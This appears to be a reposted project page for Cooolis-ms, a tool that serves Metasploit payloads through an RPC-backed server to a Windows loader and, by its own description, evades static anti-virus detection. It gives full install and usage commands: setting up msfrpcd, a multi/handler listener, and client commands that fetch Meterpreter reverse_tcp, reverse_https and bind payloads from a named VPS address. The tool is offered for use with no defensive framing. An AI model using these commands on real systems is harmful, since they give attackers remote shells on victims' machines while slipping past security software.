Cooolis-ms - A Server That Supports The Metasploit Framework RPC

Cooolis-ms – A Server That Supports The Metasploit Framework RPC

Cooolis-ms is a server that supports Metasploit Framework RPC. It is used to work for Shellcode and PE loader, bypassing the static detection of anti-virus software to a certain extent, and allows the Cooolis-ms server to perform with the Metasploit server separate.

Loader execution process:

  1. connect to Cooolis-Server
  2. Cooolis-Server connects to Metasploit RPC server
  3. retrieve the payload and send it back to the loader

Core technologies:

Advantages of the project

  • small volume (<600KB)
  • Support all Metasploit Payload
  • Simple parameters
  • Single file
  • Support separation

You can refer to here and write your own good projects

How to install

Choice 1 > Docker deployment (recommend)

Youtube:

 

$ git clone https://github.com/Rvn0xsy/Cooolis-ms.git
$ cd Cooolis-ms/Docker
$ docker-compose up -d

Default listening port:8899

Choice 2 > Source code deployment

$ git clone https://github.com/Rvn0xsy/Cooolis-ms.git
$ cd Cooolis-ms
$ pip3 install -r requirements.txt
$ python3 server.py -h

How to use

If you are deploying with Docker, please start directly from the third step.

Assuming this is my VPS: 10.20.56.41

First step, start Metasploit RPC server

Start Metasploit RPC server:

$ msfrpcd -U msf -P msf -u /api/1.0/ -a 127.0.0.1

 

Second step, start the Cooolis-ms server

Make it connect to RPC and listen to a port for sending payload:

$ python3 server.py -U msf -P msf -H 127.0.0.1 -p 55553 -s -v -l 8899 -S 10.20.56.41

Third step, configure Metasploit listener

msf5 > use exploit/multi/handler
msf5 > set payload windows/meterpreter/reverse_tcp
msf5 > set LHOST 10.20.56.41
msf5 > set LPORT 8876
msf5 > exploit -j

Fourth step, start the Cooolis-ms client

Cooolis-ms.exe -p windows/meterpreter/reverse_tcp -o LHOST=10.20.56.41,LPORT=8876,Format=dll -H 10.20.56.41 -P 8899

Q&A : Does it support RC4 encrypted Payload?

  • windows/meterpreter/reverse_tcp_rc4:
Cooolis-ms.exe -p windows/meterpreter/reverse_tcp_rc4 -o LHOST=10.20.56.41,LPORT=8876,RC4PASSWORD=rc4_password,Format=dll -H 10.20.56.41 -P 8899
  • windows/meterpreter_reverse_https
Cooolis-ms.exe -p windows/meterpreter_reverse_https -o LHOST=10.20.56.41,LPORT=8876,LURI=/api/,Format=dll -H 10.20.56.41 -P 8899
  • windows/meterpreter/bind_tcp_rc4
Cooolis-ms.exe -p windows/meterpreter/bind_tcp_rc4 -o RHOST=10.20.56.11,LPORT=8876,LURI=/api/,Format=dll -H 10.20.56.41 -P 8899
  • Other… self-play

Notice:

  1. The -o parameter of Cooolis-ms.exe should correspond to the msf configuration.
  2. Since this project relies on the open source project MemoryModule, it can only support PAYLOAD in DLL format. Need to add Format=dll after the -o parameter.

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